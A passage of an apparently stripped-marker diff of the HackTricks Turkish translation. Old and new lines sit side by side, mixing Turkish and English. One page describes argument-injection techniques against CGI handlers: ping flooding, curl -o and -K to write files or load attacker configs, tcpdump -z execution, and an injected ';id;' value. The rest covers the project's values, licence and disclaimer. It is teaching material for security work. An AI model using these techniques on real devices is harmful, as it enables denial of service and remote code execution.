Not all injections require shell metacharacters. If the application passes untrusted strings as arguments to a system utility (even with `execve`/`execFile` and no shell), many programs will still parse any argument that begins with `-` or `--` as an option. This lets an attacker flip modes, change output paths, or trigger dangerous behaviors without ever breaking into a shell.
Typical places where this appears:
- Gömülü web arayüzleri/CGI işleyicileri that build commands like `ping <user>`, `tcpdump -i <iface> -w <file>`, `curl <url>`, etc.
- Merkezi CGI yönlendiricileri (örn. `/cgi-bin/<something>.cgi` with a selector parameter like `topicurl=<handler>`) where multiple handlers reuse the same weak validator.
- Embedded web UIs/CGI handlers that build commands like `ping <user>`, `tcpdump -i <iface> -w <file>`, `curl <url>`, etc.
- Centralized CGI routers (e.g., `/cgi-bin/<something>.cgi` with a selector parameter like `topicurl=<handler>`) where multiple handlers reuse the same weak validator.
What to try:
- Provide values that start with `-`/`--` to be consumed as flags by the downstream tool.
- Abuse flags that change behavior or write files, for example:
- `ping`: `-f`/`-c 100000` ile cihazı zorlamak (DoS)
- `curl`: `-o /tmp/x` ile rastgele yollar yazmak, `-K <url>` ile saldırgan kontrollü konfigürasyon yüklemek
- `tcpdump`: `-G 1 -W 1 -z /path/script.sh` ile post-rotate yürütme elde etmek güvenli olmayan sarıcılarla
- `ping`: `-f`/`-c 100000` ile cihazı zorlayın (DoS)
- `curl`: `-o /tmp/x` ile istediğiniz path'e yazmak, `-K <url>` ile saldırgan kontrollü config yüklemek
- `tcpdump`: `-G 1 -W 1 -z /path/script.sh` ile post-rotate yürütme elde etme (güvensiz wrappers)
- If the program supports `--` end-of-options, try to bypass naive mitigations that prepend `--` in the wrong place.
Generic PoC shapes against centralized CGI dispatchers:
@ -178,7 +178,7 @@ topicurl=setEasyMeshAgentCfg&agentName=;id;
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt
{{#endref}}
## Kaynaklar
## Referanslar
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)

View File

@ -5,17 +5,17 @@
## HackTricks Değerleri
> [!TIP]
> Bunlar **HackTricks Projesi'nin değerleri**:
> Bunlar **HackTricks Projesi**nin değerleridir:
>
> - Tüm İnternet için **ÜCRETSİZ** **EĞİTİMSEL hacking** kaynaklarına erişim sağlamak.
> - Hacking öğrenmekle ilgilidir ve öğrenme mümkün olduğunca ücretsiz olmalıdır.
> - Tüm İnternet'e **ÜCRETSİZ** **EĞİTİMSEL hacking** kaynaklarına erişim sağlamak.
> - Hacking öğrenme ile ilgilidir ve öğrenme mümkün olduğunca ücretsiz olmalıdır.
> - Bu kitabın amacı kapsamlı bir **eğitim kaynağı** olarak hizmet etmektir.
> - Topluluğun yayınladığı harika **hacking** tekniklerini **DEPOLAMAK** ve **ORİJİNAL** **YAZARLARA** tüm **kredileri** vermek.
> - **Başkalarının kredilerini almak istemiyoruz**, sadece herkes için güzel numaraları depolamak istiyoruz.
> - Ayrıca HackTricks'te **kendi araştırmalarımızı** yazıyoruz.
> - Birkaç durumda, tekniğin önemli kısımlarının **HackTricks'te bir özetini** yazacağız ve daha fazla ayrıntı için **okuyucuyu orijinal gönderiyi ziyaret etmeye teşvik edeceğiz**.
> - Kitaptaki tüm **hacking** tekniklerini **DÜZENLEMEK** ki bu şekilde **DAHA ERİŞİLEBİLİR** olsun
> - HackTricks ekibi içeriği sadece düzenlemek için ücretsiz olarak binlerce saat ayırdı, böylece insanlar **daha hızlı öğrenebilir**
> - Topluluğun yayınladığı harika **hacking** tekniklerini saklamak ve **ASIL** **YAZARLARA** tüm **kredileri** vermek.
> - **Başkalarının kredisini istemiyoruz**, sadece herkes için havalı numaraları saklamak istiyoruz.
> - HackTricks'te ayrıca **kendi araştırmalarımızı** da yazıyoruz.
> - Bazı durumlarda tekniğin önemli kısımlarının sadece **HackTricks'te bir özetini** yazacağız ve daha fazla detay için **okuyucuyu orijinal yazıyı ziyaret etmeye teşvik edeceğiz**.
> - Kitaptaki tüm **hacking** tekniklerini düzenleyerek daha erişilebilir hale getirmek.
> - HackTricks ekibi, insanların daha hızlı öğrenebilmesi için içeriği yalnızca düzenlemeye binlerce ücretsiz saat ayırdı.
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
@ -25,15 +25,15 @@
>
> - **Bu kaynaklar için çok teşekkürler, size nasıl teşekkür edebilirim?**
Bu kaynakları bir araya getiren HackTricks ekibine kamuya açık olarak bir tweet'te [**@hacktricks_live**](https://twitter.com/hacktricks_live) etiketleyerek teşekkür edebilirsiniz.\
Eğer özellikle minnettar iseniz [**projeye buradan sponsor olabilirsiniz**](https://github.com/sponsors/carlospolop).\
HackTricks ekiplerine kamuoyunda teşekkür etmek için bu kaynakları bir tweet'te [**@hacktricks_live**](https://twitter.com/hacktricks_live) etiketleyerek teşekkür edebilirsiniz.\
Eğer özel olarak minnettar iseniz projeyi ayrıca [**buradan sponsor edebilirsiniz**](https://github.com/sponsors/carlospolop).\
Ve Github projelerine **yıldız vermeyi unutmayın!** (Linkleri aşağıda bulabilirsiniz).
> [!TIP]
>
> - **Projeye nasıl katkıda bulunabilirim?**
Toplulukla **yeni ipuçları ve numaralar paylaşabilir veya** kitaplarda bulduğunuz hataları düzeltebilirsiniz; bunun için ilgili Github sayfalarına bir **Pull Request** gönderin:
Kitaplardaki bulduğunuz hataları düzelterek veya toplulukla yeni ipuçları ve püf noktaları paylaşarak ilgili Github sayfalarına bir **Pull Request** göndererek katkıda bulunabilirsiniz:
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
@ -42,16 +42,16 @@ Github projelerine **yıldız vermeyi unutmayın!**
> [!TIP]
>
> - **HackTricks'ten bazı içerikleri kopyalayıp kendi bloguma koyabilir miyim?**
> - **HackTricks'ten bazı içerikleri kopyalayıp bloguma koyabilir miyim?**
Evet, koyabilirsiniz, ancak içeriğin alındığı belirli link(leri) **belirtmeyi unutmayın**.
Evet, yapabilirsiniz, ama içeriğin alındığı belirli link(leri) belirtmeyi **unutmayın**.
> [!TIP]
>
> - **HackTricks'in bir sayfasını nasıl referans gösterebilirim?**
> - **Bir HackTricks sayfasına nasıl referans veririm?**
Bilgiyi aldığınız sayfanın link(lerinin) göründüğü sürece yeterlidir.\
Eğer bir bibtex'e ihtiyacınız varsa şu gibi bir şey kullanabilirsiniz:
Bir bibtex'e ihtiyacınız varsa şöyle bir şey kullanabilirsiniz:
```latex
@misc{hacktricks-bibtexing,
author = {"HackTricks Team" or the Authors name of the specific page/trick},
@ -62,82 +62,82 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
```
> [!WARNING]
>
> - **HackTricks'in tamamını bloguma kopyalayabilir miyim?**
> - **HackTricks içeriğini bloguma tamamen kopyalayabilir miyim?**
**Tercih etmem**. Bu **hiç kimseye fayda sağlamayacak**, çünkü tüm **içerik zaten resmi HackTricks kitaplarında ücretsiz olarak kamuya açık**.
**Tercihen hayır**. Bu **kimseye fayda sağlamayacak** çünkü tüm **içerik zaten resmi HackTricks kitaplarında ücretsiz olarak halka açıktır**.
Kayıp olacağından korkuyorsanız, Github'da fork'layın veya indirin; dediğim gibi zaten ücretsiz.
Eğer bunun kaybolacağından korkuyorsanız, Github'ta forklayın veya indirin; dediğim gibi zaten ücretsiz.
> [!WARNING]
>
> - **Neden sponsorlarınız var? HackTricks kitapları ticari amaçlı mı?**
İlk **HackTricks** **değeri**, tüm dünyaya **ÜCRETSİZ** hacking eğitim kaynakları sunmaktır. HackTricks ekibi bu içeriği sunmak için **binlerce saat ayırdı**, yine, **ÜCRETSİZ**.
İlk **HackTricks** **değeri**, tüm dünyaya **ÜCRETSİZ** hacking eğitim kaynakları sunmaktır. HackTricks ekibi bu içeriği sunmak için **binlerce saat** ayırdı, yine, **ÜCRETSİZ** olarak.
HackTricks kitaplarının **ticari amaçlı** olduğunu düşünüyorsanız **TAMAMEN YANILIYORSUNUZ**.
HackTricks kitaplarının **ticari amaçlı** yapıldığını düşünüyorsanız **TAMAMEN YANILIYORSUNUZ**.
Sponsorlarımızın olması, tüm içerik ÜCRETSİZ olsa bile, isteyenlerin **çalışmamızı takdir etme imkanı** sunmasını istememizdendir. Bu nedenle insanlara HackTricks'e [**Github sponsors**](https://github.com/sponsors/carlospolop) üzerinden bağış yapma seçeneği ve **ilgili siber güvenlik şirketlerine** HackTricks'i sponsor etme ve kitapta **bazı reklamlar** bulundurma imkanı sunuyoruz; **reklamlar** her zaman **görünür** olacak şekilde ama içerik odaklanıldığında öğrenme sürecini **rahatsız etmeyecek** yerlere konulur.
Sponsorlarımızın olmasının sebebi, tüm içerik ÜCRETSİZ olsa bile topluluğa **işimizi takdir etme imkânı** vermek istememizdir. Bu yüzden insanlara HackTricks'e bağış yapma seçeneğini [**Github sponsors**](https://github.com/sponsors/carlospolop) aracılığıyla sunuyoruz ve **ilgili siber güvenlik şirketleri** HackTricks'i sponsor edebiliyor ve kitapta bazı **reklamlar** olabiliyor; bu **reklamlar** her zaman görünür yerlerde fakat içeriğe odaklanıldığında **öğrenme sürecini rahatsız etmeyecek** şekilde yerleştiriliyor.
HackTricks'te, HackTricks'ten çok daha az içeriğe sahip diğer bloglarda olduğu gibi rahatsız edici reklamlarla dolu içerik bulamayacaksınız; çünkü HackTricks ticari amaçlı yapılmamıştır.
HackTricks'i, içeriği HackTricks'ten çok daha az olan diğer bloglar gibi rahatsız edici reklamlarla dolu olarak bulamazsınız; çünkü HackTricks ticari amaçlı yapılmadı.
> [!CAUTION]
>
> - **HackTricks'teki bir sayfa blog yazıma dayanıyor ancak referans verilmemişse ne yapmalıyım?**
> - **HackTricks sayfası blog yazımın içeriklerine dayanıyor ama kaynak gösterilmemişse ne yapmalıyım?**
**Çok üzgünüz. Bu olmamalıydı**. Lütfen ilgili HackTricks sayfasının linkini ve blogunuzun linkini Github issues, Twitter, Discord... üzerinden bize bildirin ve **bunu kontrol edip en kısa sürede ekleyeceğiz**.
**Çok özür dileriz. Bu olmamalıydı.** Lütfen bize Github issues, Twitter, Discord... üzerinden o HackTricks sayfasının linkini ve blogunuzun linkini bildirin; **inceleyip en kısa sürede ekleyeceğiz**.
> [!CAUTION]
>
> - **HackTricks'te blogumdan içerik varsa ve bunu orada istemiyorsam ne yapmalıyım?**
> - **Blogumdan alınmış içerik HackTricks'te varsa ve orada olmasını istemiyorsam ne yapmalıyım?**
HackTricks'te sayfanıza bağlantı bulunmasının şunları sağladığını unutmayın:
HackTricks'te sayfanıza verilen linklerin olduğunu unutmayın:
- **SEO**'nuzu iyileştirir
- İçerik **15'ten fazla dile çevrilir**, böylece daha fazla kişinin bu içeriğe erişmesi mümkün olur
- **HackTricks**, insanların **sayfanızı kontrol etmelerini** teşvik eder (bazı kişiler bize sayfaları HackTricks'te yer aldığından beri daha fazla ziyaret aldıklarını bildirdi)
- SEO'nuzu **iyileştirir**
- İçerik **15'ten fazla dile çevrilir**, böylece daha fazla kişinin bu içeriğe ulaşması mümkün olur
- **HackTricks**, insanların **sayfanızı incelemesini** teşvik eder (bazı kişiler bize, sayfalarının HackTricks'te yer almasının ardından daha fazla ziyaret aldıklarını bildirdi)
Ancak hâlâ blogunuzun içeriğinin HackTricks'ten kaldırılmasını istiyorsanız bize bildirin; kesinlikle **blogunuza ait tüm bağlantıları** ve buna dayanan herhangi bir içeriği kaldıracağız.
Yine de blogunuzun içeriğinin HackTricks'ten kaldırılmasını istiyorsanız bize bildirin; kesinlikle **blogunuza verilen tüm linkleri** ve ondan türetilen içerikleri kaldıracağız.
> [!CAUTION]
>
> - **HackTricks'te kopyala-yapıştır içerik bulursam ne yapmalıyım?**
Her zaman **orijinal yazarlara tüm kredileri veririz**. Orijinal kaynak belirtilmeden kopyala-yapıştır içerik içeren bir sayfa bulursanız bize bildirin; biz ya **kaldıracağız**, ya **metinden önce linki ekleyeceğiz**, ya da **linki ekleyerek yeniden yazacağız**.
Her zaman **asıl yazarlara tüm krediyi veriyoruz**. Eğer kaynak gösterilmeden kopya içerik içeren bir sayfa bulursanız bize bildirin; bu içeriği ya **kaldıracağız**, ya **metinden önce kaynak linkini ekleyeceğiz**, ya da **link ekleyerek yeniden yazacağız**.
## LICENSE
## LİSANS
Telif Hakkı © aksi belirtilmedikçe Tüm Hakları Saklıdır.
Telif Hakkı © Tüm hakları saklıdır aksi belirtilmedikçe.
#### Lisans Özeti:
- Atıf: Şunları yapma özgürlüğünüz var:
- Paylaş — materyali herhangi bir ortamda veya formatta kopyalayın ve dağıtın.
- Uyarlama — materyali yeniden karıştırın, dönüştürün ve üzerine inşa edin.
- Atıf: Şunları yapabilirsiniz:
- Paylaş — materyali herhangi bir ortamda veya formatta kopyalayabilir ve yeniden dağıtabilirsiniz.
- Uyarlama — materyali yeniden düzenleyebilir, dönüştürebilir ve üzerine inşa edebilirsiniz.
#### Ek Koşullar:
#### Ek Şartlar:
- Üçüncü Taraf İçerik: Bu blog/kitabın bazı bölümleri, diğer bloglardan veya yayınlardan alıntılar gibi, başka kaynaklardan içerik içerebilir. Bu tür içeriklerin kullanımı adil kullanım ilkeleri çerçevesinde veya ilgili telif hakkı sahiplerinden açık izin alınarak yapılır. Üçüncü taraf içeriklere ilişkin belirli lisans bilgileri için lütfen orijinal kaynaklara bakın.
- Yazarlık: HackTricks tarafından oluşturulan orijinal içerik bu lisansın şartlarına tabidir. Bu eseri paylaşırken veya uyarlarken yazara atıfta bulunmanız teşvik edilir.
- Üçüncü Taraf İçeriği: Bu blog/kitabın bazı bölümleri diğer kaynaklardan, örneğin diğer bloglardan veya yayınlardan alıntılar içerebilir. Böyle içeriklerin kullanımı adil kullanım ilkeleri doğrultusunda veya ilgili telif hakkı sahiplerinden açık izinle yapılmıştır. Üçüncü taraf içeriğe ilişkin özel lisans bilgileri için lütfen orijinal kaynaklara başvurun.
- Yazarlık: HackTricks tarafından oluşturulan orijinal içerik bu lisansın şartlarına tabidir. Bu eseri paylaştığınızda veya uyarladığınızda yazara atıfta bulunmanız teşvik edilir.
#### Muafiyetler:
- Ticari Kullanım: Bu içeriğin ticari kullanımıyla ilgili sorular için lütfen benimle iletişime geçin.
Bu lisans, içerikle ilişkili herhangi bir ticari marka veya markalama hakkı vermez. Bu blog/kitapta yer alan tüm ticari markalar ve markalama, ilgili sahiplerinin mülkiyetindedir.
Bu lisans, içeriğe ilişkin herhangi bir ticari marka veya markalama hakkı vermez. Bu blog/kitapta yer alan tüm ticari markalar ve markalama ilgili sahiplerine aittir.
**HackTricks'e erişerek veya kullanarak, bu lisansın hükümlerine uymayı kabul edersiniz. Bu hükümlere katılmıyorsanız lütfen bu web sitesine erişmeyin.**
**HackTricks'e erişerek veya kullanarak, bu lisansın şartlarına uymayı kabul edersiniz. Bu şartları kabul etmiyorsanız lütfen bu web sitesine erişmeyin.**
## **Disclaimer**
## **Feragatname**
> [!CAUTION]
> Bu kitap, 'HackTricks', yalnızca eğitim ve bilgilendirme amaçlıdır. Bu kitaptaki içerik 'olduğu gibi' sağlanır ve yazarlar ile yayıncılar, içerikte bulunan bilgi, ürün, hizmet veya ilgili grafiklerin eksiksizliği, doğruluğu, güvenilirliği, uygunluğu veya bulunabilirliği konusunda açık veya zımni hiçbir beyan veya garanti vermezler. Bu tür bilgilere olan güveniniz tamamen kendi sorumluluğunuzdadır.
> Bu kitap, 'HackTricks', yalnızca eğitim ve bilgilendirme amaçlıdır. Bu kitaptaki içerik 'olduğu gibi' sunulmakta olup yazarlar ve yayıncılar, kitaptaki bilgilerin, ürünlerin, hizmetlerin veya ilgili grafiklerin eksiksizliği, doğruluğu, güvenilirliği, uygunluğu veya kullanılabilirliği konusunda açık veya zımni hiçbir beyan veya garanti vermezler. Bu tür bilgilere dayanmanız tamamen kendi sorumluluğunuzdadır.
>
> Yazarlar ve yayıncılar hiçbir koşulda, dolaylı veya sonuç olarak ortaya çıkan zararlar da dahil olmak üzere herhangi bir kayıp veya zarardan veya veri kaybı ya da kar kaybı nedeniyle bu kitabın kullanımıyla bağlantılı olarak doğan veya bağlantılı olan herhangi bir kayıp veya zarardan sorumlu tutulamazlar.
> Yazarlar ve yayıncılar hiçbir durumda veri veya kâr kaybı dahil fakat bunlarla sınırlı olmamak üzere dolaylı veya sonuçsal zararlar da dâhil olmak üzere, bu kitabın kullanımından kaynaklanan veya bununla bağlantılı herhangi bir veri kaybı veya kâr kaybı nedeniyle ortaya çıkan herhangi bir zarar veya kayıptan sorumlu tutulamazlar.
>
> Ayrıca, bu kitapta tarif edilen teknikler ve ipuçları yalnızca eğitim ve bilgilendirme amaçlıdır ve herhangi bir yasadışı veya kötü niyetli faaliyet için kullanılmamalıdır. Yazarlar ve yayıncılar herhangi bir yasadışı veya etik dışı faaliyeti tasvip etmez veya desteklemez ve bu kitaptaki bilgilerin herhangi bir şekilde kullanımı kullanıcının kendi riski ve takdirindedir.
> Ayrıca, bu kitapta ıklanan teknikler ve ipuçları yalnızca eğitim ve bilgilendirme amaçlıdır ve herhangi bir yasa dışı veya kötü niyetli faaliyet için kullanılmamalıdır. Yazarlar ve yayıncılar herhangi bir yasa dışı veya etik dışı faaliyeti tasvip etmez veya desteklemez; bu kitaptaki bilgilerin kullanımı kullanıcının kendi riski ve takdirindedir.
>
> Kullanıcı, bu kitaptaki bilgilere dayanarak yapılan herhangi bir eylemden münhasıran sorumludur ve burada anlatılan teknikleri veya ipuçlarını uygulamaya çalışırken her zaman profesyonel tavsiye ve yardım aramalıdır.
> Kullanıcı, bu kitaptaki bilgilere dayanarak alınan herhangi bir eylemden münhasıran sorumludur ve burada açıklanan herhangi bir teknik veya ipucunu uygulamaya çalışırken her zaman profesyonel tavsiye ve yardım aramalıdır.
>
> Bu kitabı kullanarak, kullanıcı yazarları ve yayıncıları bu kitabın veya içindeki bilgilerin kullanımı sonucu ortaya çıkabilecek herhangi bir zarar, kayıp veya zarardan doğan her türlü sorumluluktan feragat etmeyi kabul eder.
> Bu kitabı kullanmakla, kullanıcı yazarları ve yayıncıları bu kitabın veya içindeki bilgilerin kullanılması sonucunda ortaya çıkabilecek her türlü zarar, kayıp veya zarardan feragat etmeyi kabul eder.
{{#include ../banners/hacktricks-training.md}}